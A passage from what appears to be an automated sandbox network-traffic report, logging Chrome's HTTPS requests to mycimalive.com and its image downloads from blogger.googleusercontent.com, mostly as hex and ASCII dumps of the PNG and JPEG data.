fgf\|WbY6}COYiRh-9qb\=pL(<y:)xcW=ro"#2K,"Ht>'xl]_rwUleebhE0De#a &ec_)6S_yfU*Z&RVV1E+bW1\|a}lt=?&!
2024-10-14 22:39:48 UTC	1378	IN	Data Raw: 05 40 5e d1 33 20 55 e0 08 a7 ac 54 6b c6 3a c2 9c ce 42 9d 86 20 b9 45 02 80 a6 94 ef 2e 19 a8 e0 54 5c 15 54 ac 68 eb 0c 0b 90 f1 16 39 bb aa 6f ac ca 1e 96 4c 28 c5 1b 02 85 26 d9 a0 9f 42 ec a2 9b ab a4 6b a8 c2 e3 e6 0d dc ac d4 50 65 32 82 df 52 a5 63 db 28 1b bf 4c 2e cc 4c b4 9e 27 ea 24 e9 85 f8 b9 58 03 b9 c6 8d 98 2e 42 84 a4 cc d7 58 4a 1d a3 06 24 d7 94 a6 68 cc da f6 a8 03 6c 5f b4 5a 1a 6a 37 59 61 c1 95 20 1c e6 23 13 5b 91 55 74 7c e2 f5 2b 4e 02 d8 bd 04 a5 e1 79 82 e8 8a 16 5f de ef 3e 61 cd 74 1c 0e 03 9c 71 14 6f a6 e1 c1 be 3a b9 4f 4c 80 17 17 83 32 d6 02 05 b3 33 c4 c7 28 93 95 41 b3 a0 ef dc b9 fb e4 95 88 26 3d ca 08 80 89 c5 94 63 05 59 64 88 d9 59 6d e0 8d 25 39 48 44 04 53 cd 0c a7 ca 11 d3 e4 79 22 0e d5 30 01 52 95 85 c4 80 Data Ascii: @^3 UTk:B E.T\Th9oL(&BkPe2Rc(L.L'$X.BXJ$hl_Zj7Ya #[Ut\|+Ny_>atqo:OL23(A&=cYdYm%9HDSy"0R
2024-10-14 22:39:48 UTC	113	IN	Data Raw: 1e 11 87 00 c7 a5 97 66 a2 f6 b1 3d 2c 03 b8 fe e2 aa d7 ee 76 9f b9 ca 7e e7 10 7d c2 70 8a 8b 60 10 a7 95 2e f1 1b 8c b0 5f c1 db f0 d2 6a fe 08 77 39 4e ff 00 0f 11 fc 0d 7e 1e 7f 1d 23 28 bd 40 2f 51 21 31 89 45 68 80 75 06 3f 04 1c 11 59 6f 71 37 b6 26 72 ca 1b 7d ca 86 5f 70 b0 cb ee 76 1f 73 b4 fb 95 36 fb 98 0c bf 71 5d b3 ff d9 Data Ascii: f=,v~}p`._jw9N~#(@/Q!1Ehu?Yoq7&r}_pvs6q]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49722	188.114.96.3	443	432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:48 UTC	568	OUT	HEAD / HTTP/1.1 Host: www.mycimalive.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.mycimalive.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 If-Modified-Since: Mon, 14 Oct 2024 20:30:51 GMT
2024-10-14 22:39:48 UTC	673	IN	HTTP/1.1 304 Not Modified Date: Mon, 14 Oct 2024 22:39:48 GMT Connection: close Expires: Mon, 14 Oct 2024 22:39:48 GMT Cache-Control: private, max-age=0 ETag: W/"fd742d1c532e7b1e597471a4999a77bdf4f5d9d0c06c756aa48fa1af36293769" cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gpw4BvjqNG5VSOGlprXYAcTEWUXDKYDLnQOeIP977px%2B0JjKGj2xTd%2FpGHDFHuiEjN5F0G5TtJYLhZXmL%2FG%2BAyuuFKbycI17N8N1C3gto45ZTIjaWWZfOfCvx3sLBGcaKJW8xCI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d2b11474dcb427f-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49735	142.250.185.161	443	432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:48 UTC	875	OUT	GET /img/a/AVvXsEhuOGhQW_mCF2mWt-zO3DaGNdUe7-J8EId0r1m8F1UZUWl2yrTGHML9FVXg9swozmwaB8T2d5eFipVFS9XYtnHK5CMeWad-Yx7U8obTrIjuQTNEFJM_IWAnJHlruZUd5_eZWqqKMJ6rGiV-DdAf2khkop-S16AzPy_Uo1FqaEGjip8BISiFVT0lJgptD_k=s1280 HTTP/1.1 Host: blogger.googleusercontent.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.mycimalive.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-14 22:39:49 UTC	475	IN	HTTP/1.1 200 OK Content-Type: image/png Vary: Origin Access-Control-Expose-Headers: Content-Length ETag: "vd46" Expires: Tue, 15 Oct 2024 22:39:49 GMT Cache-Control: public, max-age=86400, no-transform Content-Disposition: inline;filename="maxresdefault-1.png" X-Content-Type-Options: nosniff Date: Mon, 14 Oct 2024 22:39:49 GMT Server: fife Content-Length: 62548 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-14 22:39:49 UTC	903	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 00 a9 08 02 00 00 00 1e 15 97 fd 00 00 00 03 73 42 49 54 08 08 08 db e1 4f e0 00 00 00 5f 7a 54 58 74 52 61 77 20 70 72 6f 66 69 6c 65 20 74 79 70 65 20 41 50 50 31 00 00 08 99 e3 4a 4f cd 4b 2d ca 4c 56 28 28 ca 4f cb cc 49 e5 52 00 03 63 13 2e 13 4b 13 4b a3 44 03 03 03 0b 03 08 30 34 30 30 36 04 92 46 40 b6 39 54 28 d1 00 05 98 98 9b a5 01 a1 b9 59 b2 99 29 88 cf 05 00 4f ba 15 68 1b 2d d8 8c 00 00 20 00 49 44 41 54 78 9c 74 bd eb 96 2b 37 8e 34 1a 01 90 a9 da 9e 99 f7 7f ce b3 d6 37 ed 2a 25 81 38 3f 00 32 55 ee 1e 75 db de bb 4a 4a 65 92 b8 04 02 17 12 30 1a d1 2f 12 14 24 09 00 69 a4 01 02 00 33 d0 01 a3 99 00 88 a4 60 04 21 40 04 60 30 23 1d 46 18 04 22 01 80 20 29 11 10 04 20 12 ea Data Ascii: PNGIHDR,sBITO_zTXtRaw profile type APP1JOK-LV((OIRc.KKD04006F@9T(Y)Oh- IDATxt+747*%8?2UuJJe0/$i3`!@`0#F" )
2024-10-14 22:39:49 UTC	1378	IN	Data Raw: fd b1 ad 20 24 0b 1b d4 9e 82 06 33 ba 83 ae 03 02 84 32 8e 32 87 f2 48 34 fb 5b 1e 73 d4 7a d8 62 57 6a d6 7f 25 93 4a 01 89 e4 91 4b 22 b6 8f 2b e0 43 92 64 5a dd b0 00 fa c7 83 f6 33 7c 2c 7f ab c5 c7 ef 9f af de 7f ce 72 d6 00 04 c3 51 7b 11 a9 7d f3 c7 4d 53 20 b3 9c 9b 9c da ef f6 28 55 dc 5f 5a 2f 93 86 e2 63 2f ca 1a 93 06 3e eb d2 3f 1d d6 7a 68 86 76 43 10 f5 a9 84 10 62 1b 6f 6b 27 43 81 4e 18 e4 a4 8b 2e 7a e9 01 e9 30 a3 1b 59 9a 40 d1 68 a5 7f c6 e1 02 2d 72 5b 3c 96 8f e5 f6 57 24 c9 41 0c a5 8e a0 d7 fe 36 3e 95 60 86 c4 b6 67 29 96 17 dd 18 83 06 32 c9 12 23 28 a4 60 a3 09 97 19 25 cb 54 ac ba 2c 95 c9 2c 11 a1 64 4a e5 16 e6 07 cb ec d5 d8 2e 19 38 78 7b 6f 29 b7 bf 6d dd 68 79 4a 90 bd 68 e7 1a 6d 16 8e c0 f5 35 69 8f bf d0 d9 bc 4f 5d Data Ascii: $322H4[szbWj%JK"+CdZ3\|,rQ{}MS (U_Z/c/>?zhvCbok'CN.z0Y@h-r[<W$A6>`g)2#(`%T,,dJ.8x{o)mhyJhm5iO]
2024-10-14 22:39:49 UTC	1378	IN	Data Raw: 3e 1f fa a8 83 44 1b 9f ef 54 c0 31 a1 0d 6b f7 c2 f6 4d aa 41 66 07 0d 76 d4 6f fb d9 ad 84 f5 23 e6 63 c3 3b e1 70 7c 03 37 e0 dc fe 90 7d c3 15 26 b4 d2 fe 8a 9a 5a 22 64 fb 3a a4 68 50 5b ed be 43 7d bc 9f 8d a5 cb 63 1c 6b 43 95 67 3c 99 89 fe ee c2 07 10 90 42 82 56 c4 a9 54 2e 59 ad 94 c7 c5 71 2b 01 4b ba 3f 3c 65 31 6c f5 8b fd db cd 2b d6 c3 f5 5a b6 33 83 24 a5 94 ac db 7b 38 6d 1c c0 d9 e6 c9 5a d7 da 58 68 1b 12 08 29 29 0f 7d f6 cb 0f d7 d5 2c 45 93 94 24 87 cb 4d 04 dd 39 1c ee 66 b6 35 70 6f d9 5e c3 13 dd 1a 28 99 6d 47 35 36 7e ab 37 18 e9 f4 01 2b 27 4b 0e 13 9c cd 18 ab 53 22 ee b4 01 02 e6 1c 13 b3 f4 70 d0 07 cc 08 98 94 d8 6f ae 0c 85 25 21 0b 65 86 3e 1d 4d 99 4d a3 bb f7 fd 16 c7 12 ab d0 0f 4d db 02 7d 04 06 29 10 2c a2 09 be f7 Data Ascii: >DT1kMAfvo#c;p\|7}&Z"d:hP[C}ckCg<BVT.Yq+K?<e1l+Z3${8mZXh))},E$M9f5po^(mG56~7+'KS"po%!e>MMM}),
2024-10-14 22:39:49 UTC	1378	IN	Data Raw: 97 e6 e4 35 e0 85 e4 8b 08 6a cf 6d de 61 a1 11 6e 70 ec 54 87 55 94 c0 39 c6 d7 98 d3 8c 66 6e 36 38 26 da 47 03 66 55 23 aa aa 14 2d fb bf d9 db 22 c1 d5 21 87 71 b8 fb 50 e9 6a 99 49 86 92 cb ca 18 98 99 51 19 8a 6d b8 1c 86 0c d0 44 01 16 58 d1 cc 54 55 54 b6 17 64 a2 6e 83 74 c7 66 c9 b9 a9 1d 66 32 23 2b 71 2f b8 3b dd e5 cc 2e 70 2c e4 62 70 a3 83 ee 28 e8 5d cb 6d e2 35 49 c3 ed ca e0 6a 86 06 12 22 40 db 7a 1e 8a 85 98 cc 40 06 33 3f 83 2a 1d 40 7e 2a 4a 1a 96 76 ec c0 0d 8d 41 72 0b b0 1e be b3 bd eb e6 6c fe a1 da 7d 3b 5b 8d 1f 80 da 55 3c 1f 6a 59 2f 47 a1 80 4a 30 6c d3 0e 7e b8 d0 ad d2 46 33 53 15 00 73 b4 95 fc a8 a4 a5 f3 29 f5 a8 74 c5 36 09 82 90 99 99 90 a3 1e be 2a 46 21 88 cc 80 52 19 3b 7f 1b a8 a0 d1 02 9e 48 29 93 fa 88 76 4f f5 Data Ascii: 5jmanpTU9fn68&GfU#-"!qPjIQmDXTUTdntff2#+q/;.p,bp(]m5Ij"@z@3?@~JvArl};[U<jY/GJ0l~F3Ss)t6*F!R;H)vO
2024-10-14 22:39:49 UTC	1378	IN	Data Raw: c6 57 5d 5d d5 32 5b 7a 98 d7 a5 88 ba 96 15 67 6b b4 51 89 52 33 33 82 d3 fd 35 e7 d7 e5 33 e0 e4 4d cb 31 33 15 a9 f7 0a 65 a8 62 d1 94 14 0a 00 c3 00 f9 20 0d 99 b9 dc 68 49 54 09 16 32 90 89 64 21 eb 07 72 ca e8 04 58 26 a8 ad c5 13 e8 d9 67 6c 86 d6 13 7c 2c eb a7 42 12 1f 9f 3c cb f5 d4 0c fc 1b 20 55 ff bb 6d d5 a3 de 9f 6f f8 a7 f6 7e fc a5 3a 70 ac f3 e7 10 32 3b c9 50 0c 7a c1 33 9d 76 04 6d 6e a0 9d 4b 79 68 6b f9 4e 80 3b 84 ef 34 9d 89 89 28 8d 4d a9 4a b7 d1 6c dc 79 64 52 d5 42 b5 f1 63 15 64 8a 6e 46 0e e7 d3 92 f5 c0 04 b4 ef b6 34 31 0d e9 c8 80 42 91 9d da 69 5f a7 6a 67 db be 97 fd e0 6d 68 8c 63 d7 66 e6 a4 2f dd 4b 91 55 be 0e 63 55 6f 98 db 98 d3 e6 9c 63 f8 b0 6a f0 1b c6 39 fd 35 fc 72 1b 66 97 fb 35 6d 4e 1f 6e c3 1a ed 39 e1 6d Data Ascii: W]]2[zgkQR3353M13eb hIT2d!rX&gl\|,B< Umo~:p2;Pz3vmnKyhkN;4(MJlydRBcdnF41Bi_jgmhcf/KUcUocj95rf5mNn9m
2024-10-14 22:39:49 UTC	1378	IN	Data Raw: 2b f6 bb d8 e5 f2 bd 49 d8 56 ec 68 e6 3f a4 4f ff 87 0e ea ec c7 d1 3e fb fd bb 0f 84 dc d8 fe 7c ef 81 97 1d 1d f5 57 f7 8c 09 22 b9 6b a4 d9 1d 9b cd ec 1f 87 d9 fe 90 48 c8 da 8a ef ea b0 16 c0 9d 60 29 c5 b1 0d b6 4f 19 41 3b db 7e 6f 76 da bc 4a c0 da 15 6b 97 65 b0 12 f7 3d 49 64 27 b6 8a c3 68 2c 87 0c 4b 2b 3d d8 cd 6a f5 68 95 cd de 90 a1 8c 8e b9 dc ac 89 42 8e 22 88 aa 04 55 06 27 a1 31 fc af af d7 7f cd f9 1a c3 ad dd 76 e5 21 dc 6c b8 f9 70 a1 62 e9 0a ad aa 60 45 a0 a2 d4 b1 f2 a7 2b d7 8a 75 af 88 58 99 2b f2 e7 bd be df ef f7 fb fe fe f9 19 9f 58 a9 d4 4f 27 da eb 28 52 62 6e 7a e6 97 26 9e a4 18 36 88 fc 34 72 e7 4f 99 62 54 92 3e 61 09 8b 15 31 af 39 dc 86 5b 06 b2 9a 7b dc 7b 3d 95 c4 03 46 bb 07 6a ef 9c bb bb 19 81 5e 88 61 c3 cd 37 Data Ascii: +IVh?O>\|W"kH`)OA;~ovJke=Id'h,K+=jhB"U'1v!lpb`E+uX+XO'(Rbnz&64rObT>a19[{{=Fj^a7
2024-10-14 22:39:49 UTC	1378	IN	Data Raw: 53 db fc 7d f9 fd 9e 3d f8 e9 1f 40 d7 8e 15 e9 af 7b 0c 01 05 25 09 71 7b a1 4f 5d 3d 0f b5 b3 4d 55 7f d5 4f b8 35 dd aa 1f ae 72 66 40 44 74 e8 5d f3 32 f6 0b 35 7b aa 57 b8 2b 27 64 94 0c 99 a7 a9 87 68 5e e1 d4 d9 9a d9 18 f3 eb f5 fa ba ae 69 a4 e9 32 8e 7a 0f 91 f1 4c 84 a8 16 0e 77 1b dd 21 61 48 25 98 49 3d 15 6f 09 22 52 91 5a a9 3b f4 0e 7d bf d7 1d 11 89 77 c6 8a 95 2b 32 42 2b e2 5e 58 81 cc 51 35 93 55 b9 cb cd a4 3e 9b 4f 40 a7 5c 89 0d 7b 8d 0f 14 f8 bd a6 9f af e2 5d cb 29 ee 76 99 6d 5f 05 0a a9 bc 63 89 a3 ca 8d 98 79 92 4b 56 b9 83 66 04 08 56 2a 98 24 dd 1c 89 48 75 53 fd ba a7 f9 5f 63 d6 ca c0 8c 63 cc 49 1f 46 83 0f 9f 63 0e f7 42 52 36 94 09 5b 8d 5f a6 db 74 cb 4c af f2 22 37 73 37 71 09 ef 88 af 31 00 2c 42 40 44 b4 04 e4 44 44 Data Ascii: S}=@{%q{O]=MUO5rf@Dt]25{W+'dh^i2zLw!aH%I=o"RZ;}w+2B+^XQ5U>O@\{])vm_cyKVfV*$HuS_ccIFcBR6[_tL"7s7q1,B@DDD
2024-10-14 22:39:49 UTC	1378	IN	Data Raw: 65 a9 2a 18 0e d4 04 92 0d a8 73 8f 78 e9 e7 f2 64 1a 69 92 62 cf 6c a2 b1 72 64 3b e0 03 80 9e 6c 03 a0 07 c5 76 0e b9 54 b4 1b 4f d1 05 c6 52 0d ed 80 bb f9 f0 39 c6 d7 bc fe 7a 7d fd d7 2c c8 0b ab 1a 33 a5 84 cc 2c cc 66 64 b0 82 a6 cc 08 41 99 2a 7c 66 ac de af 52 82 8e 4b df 77 dc 11 df f7 fa fb e7 fd bf f7 fb e7 fb 1d 11 0a 29 92 99 5a 77 bc 6f ae a5 08 e4 a2 12 59 4d a6 18 3d 92 44 44 6a 67 03 b5 99 e3 6d f0 c8 6e 1a da de 6c ff 62 07 f8 d5 fd eb dc 03 43 5c 28 ef 4d 7e 30 84 1b 36 a4 18 8a 1a 44 e7 65 15 b3 d9 a0 dc 4b b6 47 65 ef 47 a4 aa f7 07 00 6c 78 b1 2e 56 35 db 55 dd e1 16 ca f7 5a 5f c3 eb 23 15 2d cc 5d 5c 2a 88 d4 75 55 9f 44 15 bd 44 44 ac d5 05 3d 4e 1a d2 af f1 75 bd 60 74 72 dd 2b a9 d7 1a d3 b1 0c d3 fd 75 5d df df 3f e1 c6 e1 c4 Data Ascii: esxdiblrd;lvTOR9z},3,fdA\|fRKw)ZwoYM=DDjgmnlbC\(M~06DeKGeGlx.V5UZ_#-]\*uUDDD=Nu`tr+u]?
2024-10-14 22:39:49 UTC	1378	IN	Data Raw: f5 03 74 a6 6b 5b 99 e2 12 bb 34 c0 a6 8f d7 f0 cb 79 99 5f d3 0b 55 3b 39 cd cc b8 14 51 99 e0 3d 33 ad 26 42 47 a4 f5 00 27 2b b2 b1 5b 23 c8 10 53 19 51 5e c6 da c6 86 b0 42 11 8a e0 aa 66 d4 c4 ee 8e 45 85 6c ca da dd 41 2b ac d2 a7 79 6d 96 ec 9f 2f 6d 24 d2 6d 30 6c d3 dc 07 85 9e 45 e4 73 f0 45 54 4f 0c 28 eb 14 50 3b 52 ab c4 c0 73 71 02 64 4d 0e ef a1 76 d5 d6 90 b9 99 0e 72 d0 2f 0e 33 53 cf da e4 e5 76 cd 59 d1 f8 74 1b 3e c6 30 42 46 b8 f9 f0 41 b3 05 bd 23 67 d6 cc 93 2a ac 2f e2 56 2b b3 0c d8 8a b8 23 ef b5 20 0c af 79 35 52 55 f9 9a 59 cd a2 54 12 ba 86 5f 3e 86 9b 99 a5 19 cc 59 85 e9 cc dd 25 43 e8 c9 9c e3 f4 1b 80 d8 35 6f 1d 8a 9d a8 ab a5 94 87 0a ad e8 94 3b 6e e4 ee 9e 25 3f f1 db 46 1e a5 7c ea 46 87 cd 60 e2 49 7c 9f b7 6e 1c 82 Data Ascii: tk[4y_U;9Q=3&BG'+[#SQ^BfElA+ym/m$m0lEsETO(P;RsqdMvr/3SvYt>0BFA#g*/V+# y5RUYT_>Y%C5o;n%?F\|F`I\|n
2024-10-14 22:39:49 UTC	1378	IN	Data Raw: 22 ee 88 fb 8e ef fb 4e 29 65 4a 0f e5 1d 2a 53 fe 5e 71 67 86 90 59 b4 0e 40 17 7a fe 00 13 06 e4 0a b5 06 ec de 4b ad 1d c0 62 30 03 f2 2c fa 8d 35 b6 08 15 e8 ee 4c 70 05 9c be 3d 9e b0 e9 31 ee 41 b1 6d 94 1e 95 3d 7f e0 8e 65 d4 76 ac fd 5e ad 71 b5 75 79 0d 4a 2b 8a 79 9a 4d b3 e1 36 dc ff 5c d3 c8 d8 25 b4 59 75 0b 7d 3f 8d d6 da 89 6e 42 2f d6 0a 62 d0 30 99 99 04 dc 1c 42 84 32 57 c1 95 aa a6 cd 1e 82 93 22 dc 5c 54 4a 77 06 14 f7 fb 6d 66 d7 1c 4c fe bc ef 9f 7b c5 aa e4 0d a2 e7 08 55 8d 55 d5 a7 b7 1c 97 33 c3 09 e1 f0 e1 fd 80 b6 ad 24 b1 b3 53 15 20 6f 14 d7 51 b6 60 e4 60 8d 98 68 c3 67 ad 7c fc 4c f8 f3 a9 0d 05 3a da e0 21 24 9e 91 2f 65 fe d0 d4 d1 e8 8b 3d 7b 55 2a 7a da d9 b4 63 be 4a b5 0b 35 fc 06 ed f4 c5 d8 73 2c 50 aa 01 1c 0b 54 Data Ascii: "N)eJS^qgY@zKb0,5Lp=1Am=ev^quyJ+yM6\%Yu}?nB/b0B2W"\TJwmfL{UU3$S oQ``hg\|L:!$/e={UzcJ5s,PT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49736	142.250.185.161	443	432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:48 UTC	875	OUT	GET /img/a/AVvXsEgtpFcYsGsl5Crlj3BRaub4sS1wPYMeblwQkUk7ttnWFe1io1ox7ee6G2PDsa6n3mEUwEO1b6y7GCO2ALzAX45LZp5zX7E2chU_u2-OhgVrg-B95XGbbjq6KANBiayi5lXzNCGak4TUoYJgPFVk03Wv28KtbJTvuDka23dlPoIYCo1eNO0K3vjB7_muKJA=s1280 HTTP/1.1 Host: blogger.googleusercontent.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.mycimalive.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-14 22:39:49 UTC	474	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Vary: Origin Access-Control-Expose-Headers: Content-Length ETag: "vd48" Expires: Tue, 15 Oct 2024 22:39:49 GMT Cache-Control: public, max-age=86400, no-transform Content-Disposition: inline;filename="maxresdefault.jpg" X-Content-Type-Options: nosniff Date: Mon, 14 Oct 2024 22:39:49 GMT Server: fife Content-Length: 11247 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-14 22:39:49 UTC	904	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff e1 00 6c 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 03 00 31 01 02 00 07 00 00 00 32 00 00 00 12 02 03 00 02 00 00 00 02 00 02 00 69 87 04 00 01 00 00 00 3a 00 00 00 00 00 00 00 47 6f 6f 67 6c 65 00 00 03 00 00 90 07 00 04 00 00 00 30 32 32 30 02 a0 04 00 01 00 00 00 2c 01 00 00 03 a0 04 00 01 00 00 00 a9 00 00 00 00 00 00 00 ff db 00 43 00 06 04 05 06 05 04 06 06 05 06 07 07 06 08 0a 10 0a 0a 09 09 0a 14 0e 0f 0c 10 17 14 18 18 17 14 16 16 1a 1d 25 1f 1a 1b 23 1c 16 16 20 2c 20 23 26 27 29 2a 29 19 1f 2d 30 2d 28 30 25 28 29 28 ff db 00 43 01 07 07 07 0a 08 0a 13 0a 0a 13 28 1a 16 1a 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 Data Ascii: JFIFlExifII12i:Google0220,C%# , #&'))-0-(0%()(C((((((((((((((((((((((((((((((((((((((
2024-10-14 22:39:49 UTC	1378	IN	Data Raw: a5 13 b4 59 3d 0a a8 6a 1b 14 9a 02 41 b8 e5 eb 42 59 53 17 98 96 b9 fe 87 9b 64 b5 c8 16 8f a9 51 96 80 a0 b4 13 e7 e7 57 a3 a0 99 81 04 f7 02 de 65 97 59 0a ab ca 66 47 15 ad b6 cb 6e b2 e9 f3 66 ef bc c3 6e 6b 16 5d 55 f5 70 30 da c9 39 fb 6c 21 1c c9 2a 04 b8 6d 14 d3 1d 52 29 2d 82 4c 76 30 ec ec a9 db 8a 2b 59 50 93 c5 b7 3b 7b 94 13 b9 46 8f 59 85 14 d1 ad 29 63 e6 89 50 b8 d5 42 8e 80 56 36 95 f6 9a e5 af d1 e5 b5 3c 1e 81 be 6f e9 58 8d f9 7c e5 39 ba 4f 22 a3 17 b9 1a 7b 51 1a 47 b3 93 73 65 74 d0 d2 49 1a 6a ac 41 ac 7c d7 08 8e 68 f9 c8 e0 74 c3 48 23 e6 ac 78 cc 70 c0 2a d3 89 46 cc f5 b0 05 bd 59 da dd d4 5b dc ea af 28 ca e2 ed d1 66 ef 69 ba 39 bc 6c 90 d4 a3 1c 13 f4 c8 ae 1d fa 62 f7 c4 eb 82 7a 07 4d d8 42 1b 63 49 5a 3b 44 5b 45 40 23 Data Ascii: Y=jABYSdQWeYfGnfnk]Up09l!mR)-Lv0+YP;{FY)cPBV6<oX\|9O"{QGsetIjA\|htH#xpFY[(fi9lbzMBcIZ;D[E@#
2024-10-14 22:39:49 UTC	1378	IN	Data Raw: 03 4e f3 b4 f2 6a 1b 8c 67 dc 4d 6d 7c 72 af 11 86 ca e6 59 5f 2d 3b 27 fb c7 ad 43 58 df 3d 2f a9 ef 77 bb f1 e2 9a ef ca bf 1f 0d 79 2c 84 ce 3c 74 bf 1c ad 9e b6 94 ae 6f a2 54 ba 19 3e a2 ec 77 49 a2 26 e2 d8 55 55 4b c4 a9 52 9a 6c ea 16 e9 75 be 81 a6 e7 69 da 76 9d a7 69 da 06 8a e6 07 dc f9 22 d4 a5 94 d4 a2 d6 5f 29 b5 54 79 bd 5b 20 91 c7 d6 de 5a e8 20 df 8f 51 99 fc 72 5f 56 45 36 71 f9 95 de b3 6a b7 bd bf 38 71 05 da 26 d0 47 7f 5b 2c 42 6d f1 bc 61 a9 4d 9e 35 6b 4b 4e d1 5b 70 99 bf d0 d4 d4 15 98 46 a1 26 6c cd 99 ea 63 7a 4a 3e c8 ed 5b 06 f3 72 89 a7 c6 bb f6 ff 00 c9 2b 16 57 d9 b5 b3 09 9b 9b 9b 81 88 84 ef db b8 5a 7a 98 bb 13 b4 ef 0a 6a 6a 6a 6a 6a 6a 05 82 b2 7e 0e b1 71 9d 83 63 d8 b3 5a 1f 79 87 eb 91 81 f9 78 a3 c5 93 42 94 a9 Data Ascii: NjgMm\|rY_-;'CX=/wy,<toT>wI&UUKRluivi"_)Ty[ Z Qr_VE6qj8q&G[,BmaM5kKN[pF&lczJ>[r+WZzjjjjjj~qcZyxB
2024-10-14 22:39:49 UTC	1378	IN	Data Raw: 4f 65 3b 5a ca 91 3c a0 ae 95 3f 68 8a 2c 6b 2d b4 38 91 c1 16 ee 2e 96 ca a5 f7 82 0d 18 89 8d 3a 45 47 05 50 1c 83 e8 ac af a6 e9 2a ca 0a b2 13 f5 4a 79 26 fa 74 81 e2 55 71 e2 7f 6d 29 b1 bc a4 ae cd 9c f1 61 cb c5 56 55 3d fa 39 dc a3 f7 5d 26 97 f7 b6 37 e2 ba 57 e3 14 55 59 9b d3 68 5c c7 92 ba 63 9a ef 5b 09 b1 f5 14 42 3c dc 7f 95 53 c6 0a c7 a0 c6 83 4b e1 5b 0a cb 92 17 9e c1 4f 24 ac aa ed f6 9c ab 8f 13 fb 69 52 38 37 f8 52 f7 19 55 21 52 70 17 76 74 ad ee 5d 1c 0f f9 1e 2a 7c 82 e9 3f 8a 74 78 63 80 68 6b 49 4f 63 26 1c cd c7 de 9a 47 3b a6 1f 61 5d ab a3 b3 eb 3c 2a 6f 22 ce 6c 28 85 76 e9 61 d5 ca 1d 48 56 57 4d 75 4b 36 22 53 dc da b7 8c 69 56 8d 47 6c 71 2a a8 2e 90 e2 60 e9 5a 78 a6 79 2a 85 e1 c2 65 10 f3 de 4c 77 95 0e d9 c0 71 5b 8b Data Ascii: Oe;Z<?h,k-8.:EGPJy&tUqm)aVU=9]&7WUYh\c[B<SK[O$iR87RU!Rpvt]\|?txchkIOc&G;a]<o"l(vaHVWMuK6"SiVGlq.`Zxy*eLwq[
2024-10-14 22:39:49 UTC	1378	IN	Data Raw: 0d 21 50 a5 25 44 a4 b7 27 37 05 f9 44 36 9d 1a 82 aa e6 53 86 64 c6 b2 fc 43 53 5a 61 e9 33 23 89 94 cf 98 06 a5 2e 00 cf 88 28 35 ff 00 49 a0 ae f1 ab b6 26 19 24 d7 c1 19 7b 49 7f 5e 15 2b a5 67 1c 77 87 d3 2f 18 cc 67 8c f0 41 a1 15 e6 3b 86 48 ce 86 60 80 cc eb 95 87 e2 68 e4 3b c7 8b fc 84 7f d9 d3 a1 67 b2 7e e4 aa 1f b1 bb db cb 38 de 20 af 2c e0 6c e6 79 e0 be c8 90 9d 0f 77 fe 4c 64 b3 47 68 02 22 92 8c 6e 50 71 89 e1 0c b8 02 d8 86 01 5a 63 dd 9c 82 e3 dd c1 8a f5 85 c0 d7 ec c4 76 ba 15 f4 81 68 87 28 29 8e 18 64 c3 33 76 ea 62 b3 9b 83 b3 37 18 55 99 c7 dc c1 b6 c8 51 ad c5 fc 43 6c d2 11 21 9a 0f b4 d9 